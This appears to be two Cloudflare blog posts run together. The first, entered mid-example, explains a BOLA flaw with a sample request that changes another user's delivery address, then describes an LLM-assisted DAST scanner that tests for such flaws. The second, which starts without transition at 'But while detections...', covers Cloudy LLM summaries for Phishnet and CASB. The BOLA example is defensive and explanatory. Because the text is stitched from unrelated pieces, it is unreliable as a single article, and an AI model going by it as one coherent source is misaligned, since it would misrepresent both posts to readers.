Content-Type: application/json

{
  "delivery_address": "123 Attacker Way, Apt 4",
  "instructions": "Leave at front door, ring bell"
}

The request headers are valid. The authentication token is valid. The schema is correct. To a standard WAF, this request looks perfect. A bot management offering may even be fooled if a human is manually sending the attack requests.

User A will now get B’s food delivered to them! The vulnerability exists because the API endpoint fails to validate if User A actually has permission to view or update user B’s data. This is a failure of logic, not syntax. To fix this, the API developer could implement a simple check: if (order.userID != user.ID) throw Unauthorized;

You can detect these types of vulnerabilities by actively sending API test traffic or passively listening to existing API traffic. Finding these vulnerabilities through passive scanning requires context. Last year we launched BOLA vulnerability detection for API Shield. This detection automatically finds these vulnerabilities by passively scanning customer traffic for usage anomalies. To be successful with this type of scanning, you need to know what a "valid" API call looks like, what the variable parameters are, how a typical user behaves, and how the API behaves when those parameters are manipulated.

Yet there are reasons security teams may not have any of that context, even with access to API Shield’s BOLA vulnerability detection. Development environments may need to be tested but lack user traffic. Production environments may (thankfully) have a lack of attack traffic yet still need analysis, and so on. In these circumstances, and to be proactive in general, teams can turn to Dynamic Application Security Testing (DAST). By creating net-new traffic profiles intended specifically for security testing, DAST tools can look for vulnerabilities in any environment at any time.

Unfortunately, traditional DAST tools have a high barrier to entry. They are often difficult to configure, require you to manually upload and maintain Swagger/OpenAPI files, struggle to authenticate correctly against modern complex login flows, and can simply lack any API-specific security tests (e.g. BOLA).

In the food delivery order example above, we assumed the attacker could find a valid order to modify. While there are often avenues for attackers to gather this type of intelligence in a live production environment, in a security testing exercise you must create your own objects before testing the API’s authorization controls. For typical DAST scans, this can be a problem, because many scanners treat each individual request on its own. This method fails to chain requests together in the logical pattern necessary to find broken authorization vulnerabilities. Legacy DAST scanners can also exist as an island within your security tooling and orchestration environment, preventing their findings from being shared or viewed in context.

Vulnerability scanning from Cloudflare is different for a few key reasons. 

First, Security Insights will list results from our new scans alongside any existing Cloudflare security findings for added context. You’ll see all your posture management information in one place. 

Second, we already know your API’s inputs and outputs. If you are an API Shield customer, Cloudflare already understands your API. Our API Discovery and Schema Learning features passively catalog your endpoints and learn your traffic patterns. While you’ll need to manually upload an OpenAPI spec to get started for our initial release, you will be able to get started quickly without one in a future release.

Third, because we sit at the edge, we can turn passive traffic inspection knowledge into active intelligence. It will be easy to verify BOLA vulnerability detection risks (found via traffic inspection) by sending net-new HTTP requests with the vulnerability scanner.

And finally, we have built a new, stateful DAST platform, as we detail below. Most scanners require hours of setup to "teach" the tool how to talk to your API. With Cloudflare, you can effectively skip that step and get started quickly. You provide the API credentials, and we’ll use your API schemas to automatically construct a scan plan.

APIs are commonly documented using OpenAPI schemas. These schemas denote the host, method, and path (commonly, an “endpoint”) along with the expected parameters of incoming requests and resulting responses. In order to automatically build a scan plan, we must first make sense of these API specifications for any given API to be scanned.

Our scanner works by building up an API call graph from an OpenAPI document and subsequently walking it, using attacker and owner contexts. Owners create resources, attackers subsequently try to access them. Attackers are fully authenticated with their own set of valid credentials. If an attacker successfully reads, modifies or deletes an unowned resource, an authorization vulnerability is found.

Consider for example the above delivery order with ID 8821. For the server-side resource to exist, it needed to be originally created by an owner, most likely in a “genesis” POST request with no or minimal dependencies (previous necessary calls and resulting data). Modelling the API as a call graph, such an endpoint constitutes a node with no or few incoming edges (dependencies). Any subsequent request, such as the attacker’s PATCH above, then has a data dependency (the data is order_id) on the genesis request (the POST). Without all data provided, the PATCH cannot proceed.

Here we see in purple arrows the nodes in this API graph that are necessary to visit to add a note to an order via the POST /api/v1/orders/{order_id}/note/{note_id} endpoint. Importantly, none of the steps or logic shown in the diagram is available in the OpenAPI specification! It must be inferred logically through some other means, and that is exactly what our vulnerability scanner will do automatically.

In order to reliably and automatically plan scans across a variety of APIs, we must accurately model these endpoint relationships from scratch. However, two problems arise: data quality of API specifications is not guaranteed, and even functionally complete schemas can have ambiguous naming schemes. Consider a simplified OpenAPI specification for the above API, which might look like

openapi: 3.0.0
info:
  title: Order API
  version: 1.0.0
paths:
  /api/v1/orders:
    post:
      summary: Create an order
      requestBody:
        required: true
        content:
          application/json:
            schema:
              type: object
              properties:
                product:
                  type: string
                count:
                  type: integer
              required:
                - product
                - count
      responses:
        '201':
          description: Item created successfully
          content:
            application/json:
              schema:
                type: object
                properties:
                  result:
                    type: object
                    properties:
                      id:
                        type: integer
                      created_at:
                        type: integer
                  errors:
                    type: array
                    items:
                      type: string
  /api/v1/orders/{order_id}:
    patch:
      summary: Modify an order by ID
      parameters:
        - name: order_id
          in: path

We can see that the POST endpoint returns responses such as

{
    "result": {
        "id": 8821,
        "created_at": 1741476777
    },
   "errors": []
}

To a human observer, it is quickly evident that $.result.id is the value to be injected in order_id for the PATCH endpoint. The id property might also be called orderId, value or something else, and be nested arbitrarily. These subtle inconsistencies in OpenAPI documents of arbitrary shape are intractable for heuristics-based approaches.

Our scanner uses Cloudflare’s own Workers AI platform to tackle this fuzzy problem space. Models such as OpenAI’s open-weight gpt-oss-120b are powerful enough to match data dependencies reliably, and to generate realistic fake data where necessary, essentially filling in the blanks of OpenAPI specifications. Leveraging structured outputs, the model produces a representation of the API call graph for our scanner to walk, injecting attacker and owner credentials appropriately.

This approach tackles the problem of needing human intelligence to infer authorization and data relationships in OpenAPI schemas with artificial intelligence to do the same. Structured outputs bridge the gap from the natural language world of gpt-oss back to machine-executable instructions. In addition to Workers AI solving the planning problem, self-hosting on Workers AI means our system automatically benefits from Cloudflare’s highly available, globally distributed architecture.

Building a vulnerability scanner that customers will trust with their API credentials demands proven infrastructure. We did not reinvent the wheel here. Instead, we integrated services that have been validated and deployed across Cloudflare for two crucial components of our scanner platform: the scanner’s control plane and the scanner’s secrets store.

The scanner's control plane integrates with Temporal for Scan Orchestration, on which other internal services at Cloudflare already rely. The complexity of the numerous test plans executed in each Scan is effectively managed by Temporal's durable execution framework. 

The entire backend is written in Rust, which is widely adopted at Cloudflare for infrastructure services. This lets us reuse internal libraries and share architectural patterns across teams. It also positions our scanner for potential future integration with other Cloudflare systems like FL2 or our test framework Flamingo – enabling scenarios where scanning could coordinate more tightly with edge request handling or testing infrastructure.

Scanning for broken authentication and broken authorization vulnerabilities requires handling API user credentials. Cloudflare takes this responsibility very seriously.

We ensure that our public API layer has minimal access to unencrypted customer credentials by using HashiCorp's Vault Transit Secret Engine (TSE) for encryption-as-a-service. Immediately upon submission, credentials are encrypted by TSE—which handles the encryption but does not store the ciphertext—and are subsequently stored on Cloudflare infrastructure. 

Our API is not authorized to decrypt this data. Instead, decryption occurs only at the last stage when a TestPlan makes a request to the customer's infrastructure. Only the Worker executing the test is authorized to request decryption, a restriction we strengthen using strict typing with additional safety rails inside Rust to enforce minimal access to decryption methods.

We further secure our customers’ credentials through regular rotation and periodic rewraps using TSE to mitigate risk. This process means we only interact with the new ciphertext, and the original secret is kept unviewable.

We are releasing BOLA vulnerability scanning starting today as an Open Beta for all API Shield customers, and are working on future API threat scans for future release. Via the Cloudflare API, you can trigger scans, manage configuration, and retrieve results programmatically to integrate directly into your CI/CD pipelines or security dashboards. For API Shield Customers: check the developer docs to start scanning your endpoints for BOLA vulnerabilities today.

We are starting with BOLA vulnerabilities because they are the hardest API vulnerability to solve and the highest risk for our customers. However, this scanning engine is built to be extensible.

In the near future, we plan to expand the scanner’s capabilities to cover the most popular of the OWASP Web Top 10 as well: classic web vulnerabilities like SQL injection (SQLi) and cross-site scripting (XSS). To be notified upon release, sign up for the waitlist here, and you’ll be first to learn when we expand the engine to general web application vulnerabilities.

But while detections have become more sophisticated, explanations have not always kept pace.

Security and IT teams are often aware when something is flagged, but they do not always know, at a glance, why. End users are asked to make real-time decisions about emails that may impact the entire organization, yet they are rarely given clear, contextual guidance in the moment that matters.

Cloudy changes that.

Cloudy is our LLM-powered explanation layer, built directly into Cloudflare One. It translates complex machine learning outputs into precise, human-readable guidance for security teams and end users alike. Instead of exposing raw technical signals, Cloudy surfaces the reasoning behind a detection in a way that drives informed action.

For Cloudflare Email Security, this means helping users understand why a message was flagged before they escalate it to the security operations center, or SOC. For Cloudflare CASB, it means helping administrators quickly understand the risk and remediation path for SaaS findings without having to manually assess low-level signals.

This post outlines how we are extending Cloudy across Phishnet and API CASB to improve decision making, reduce unnecessary noise, and turn complex security signals into clear, actionable insight.

When an email is analyzed by Cloudflare Email Security, it is not evaluated by a single signal or model. Instead, a wide range of machine learning models analyze different parts of the message, from sender reputation and message structure to content, links, and behavioral patterns. This model set continues to grow as our machine learning team regularly trains and deploys new detections to keep pace with evolving threats.

Based on this analysis, messages are labeled with outcomes such as Malicious, Suspicious, Spam, Bulk, or Spoof. While these detections have been effective, we consistently heard feedback from customers that it was not always clear why a message was flagged. The decision was correct, they told us —  but the reasoning behind it was often opaque to both end users and security teams.

To address this, we introduced the first version of Cloudy: LLM-powered summaries for detections. These summaries translate what our machine learning models are seeing into human readable explanations. Initially, these summaries were available in the Cloudflare dashboard to help SOC teams during investigations. Over the past few months, customer feedback has confirmed that these explanations significantly improve understanding in our detections.

As we continued speaking with customers, another challenge surfaced. Our Phishnet tool allows users to submit messages to the SOC when they believe an email may be suspicious. While this empowers employees to participate in security, many SOC teams told us their queues were being flooded with submissions that turned out to be clean messages.

The result was unnecessary backlog and slower response times for emails that actually required investigation.

At the same time, customers told us that traditional security awareness training was not always enough. Users still struggled to evaluate emails in the moment, when it mattered most. They wanted more contextual guidance directly within the workflow where decisions are made.

This upgrade is designed to address both of these problems. By bringing clearer explanations and contextual education directly into Phishnet, we aim to help users make better decisions while reducing noise for SOC teams, without sacrificing security.

As organizations and attack techniques have evolved, so has the role of the end user. Modern email threats increasingly rely on social engineering, subtle impersonation, and psychological pressure which places users directly in the decision path.

In response, users are being asked to act as an additional layer of defense. However, traditional security awareness tools often fall short. Training is typically delivered through periodic sessions or simulated phishing campaigns, disconnected from real messages and real decisions. When users encounter an unfamiliar email, they are left without enough context to confidently assess risk.

This gap commonly leads to one of two outcomes. Some users submit nearly every questionable message to the SOC, creating excessive noise and slowing down investigations. Others interact with messages they should not, simply because nothing in the moment signals clear risk.

By embedding Cloudy directly into Phishnet, we close this gap. 

Users receive immediate, contextual explanations that help them understand what Cloudflare is seeing and why a message may be risky. This enables users to make informed decisions at the point of interaction, reduces unnecessary escalations to the SOC, and allows security teams to focus on the messages that truly require attention.

Over time, this approach shifts users from being a source of noise to becoming an effective part of the detection and response workflow. The result: stronger email security, without adding friction or burden to security teams.

In the next month, we will be upgrading our Phishnet reporting button to extend the Cloudy summaries.

_{The new Phishnet screens will show Cloudy summaries.}

With this upgrade, end users receive a simplified, user-friendly version of Cloudy summaries at the moment they report a message. These summaries are generated in real time using Cloudflare Workers AI and run directly on Cloudflare’s global Workers platform when a user interacts with a message in Phishnet.

When a user clicks the Phishnet reporting button, the request triggers a Workers-based workflow that aggregates structured outputs from multiple detection models associated with that message. These model outputs include signals such as sender reputation, domain and infrastructure characteristics, authentication results, link and content analysis, and behavioral indicators collected during message processing.

The aggregated signals are then passed to Workers AI, where a series of purpose-built prompts generate a natural language explanation. Each prompt is designed to transform low-level detection outputs into a concise and human-readable summary. This process focuses on explanation rather than classification and does not alter the original disposition of the message.

_{How Cloudy transforms detections into clear explanations.}

For this experience, we intentionally redesigned the summaries compared to those shown to administrators in the Cloudflare dashboard. During testing, we found that admin-focused summaries often relied on technical concepts that were difficult for non-technical users to interpret. Terms such as ASNs, IP reputation, or authentication failures required translation. 

To ensure end users can understand the summaries, Phishnet emphasizes plain-language explanations while preserving the meaning of the underlying detections.

Because this workflow runs on the Cloudflare Workers platform, summaries are generated with low latency and at global scale — so users receive immediate feedback at the moment of interaction. This real-time context allows users to better understand why an email may be risky or why it appears safe before deciding whether to escalate it to the SOC.

We are currently beta testing this experience with Microsoft customers to ensure the summaries are accurate and reliable. Cloudy summaries are not trained on customer data. We are also applying additional validation to ensure the generated explanations do not hallucinate. Accuracy is critical at this stage as incorrect guidance could introduce real security risk.

Following the beta period, we plan to expand access to all Microsoft users. We will also bring similar upgrades to the Phishnet sidebar for Google Workspace users later in 2026.

But helping end users better understand what makes an email risky is only part of the story. We are also applying Cloudy to the administrative side of security operations, where clarity and speed matter just as much. Beyond Phishnet, Cloudy now translates complex CASB findings into structured explanations that help security and IT teams quickly understand risk, prioritize remediation, and take confident action across their SaaS environments.

Inside Cloudflare One, our SASE platform, CASB connects to the SaaS and cloud tools your teams already use. By talking to providers over API, CASB gives security and IT teams:

• A consolidated view of misconfigurations, overshared files, and risky access patterns across apps like Microsoft 365, Google Workspace, Slack, Salesforce, Box, GitHub, Jira, and Confluence (CASB Integrations).

• Continuous scanning for new issues as users collaborate, share, and adopt new tools.

• Findings that are organized, searchable, and exportable for triage and reporting.

_{A typical CASB Findings page showing detections for a Microsoft 365 finding.}

Until now, understanding what exactly triggered a CASB Finding — the detections that CASB makes across connected SaaS integrations — has been a black box. While the information was there to put together an explanation of why that file, that user, that configuration was triggering a CASB Finding Type, it wasn’t exactly obvious the reason why it was ultimately detected by our system.

With the introduction of Cloudy summaries in CASB, users receive a short description of the detection rationale with the specific details of the match listed out for easy comprehension.

Unlike a simple text summary, Cloudy for CASB provides a structured breakdown designed for immediate remediation. As seen in our beta testing across different providers, from Microsoft 365 to Dropbox, the model consistently parses findings into two distinct sections:

• Risk: It identifies exactly why the finding matters. For instance, rather than just noting a 'Suspended User,' Cloudy clarifies that this 'may indicate a compromised account or a user who should no longer have access to company data'.

• Guidance: It offers immediate next steps. Instead of generic advice, it suggests specific actions, such as verifying if a suspension was intentional or reviewing an application's legitimacy before revoking access.

This structure ensures that analysts can understand the gravity of a finding without needing deep expertise in the specific SaaS application involved.

_{An example Cloudy Summary in a CASB Posture Finding.}

We know that when it comes to our customers getting to the bottom of identified security issues, time is of the essence. We believe that any amount of unnecessary uncertainty or lack of clarity around what’s going wrong just puts more time between an imperfect state and one that is more secure.

We built this feature on the same privacy-first foundations as all products at Cloudflare. Cloudy summaries in CASB are generated using Cloudflare Workers AI, ensuring that your data remains within our secure infrastructure during analysis. The models are not trained on your SaaS data, and the summaries are generated ephemerally to aid in triage. This allows your team to leverage the speed of AI without exposing sensitive internal documents or configurations to public models.

For Email Security, we will continue to expand how Cloudy supports both administrators and end users. Our focus is on delivering clearer explanations, better in context guidance, and deeper integration into daily workflows.

For CASB, we’re excited to look for opportunities where Cloudy can make it even easier for CASB administrators to understand what’s going on across their cloud and SaaS apps. Keep an eye out as we look to expand Cloudy coverage to allow administrators to query their findings using natural language, further reducing the time it takes to identify and remediate risks.

Looking ahead, this includes richer explanations for additional detection types, tighter feedback loops between user actions and detections, and continued improvements to how users and SOC teams collaborate through Phishnet. Our goal is to make Cloudy a core part of how organizations understand, trust, and act on email security decisions.

We provide all organizations (whether a Cloudflare customer or not) with free access to our Retro Scan tool, allowing them to use our predictive AI models to scan existing inbox messages in Microsoft 365. 

Retro Scan will detect and highlight any threats found, enabling organizations to remediate them directly in their email accounts. With these insights, organizations can implement further controls, either using Cloudflare Email Security or their preferred solution, to prevent similar threats from reaching their inboxes in the future.

If you are interested in how Cloudflare can help secure your inboxes, sign up for a phishing risk assessment here.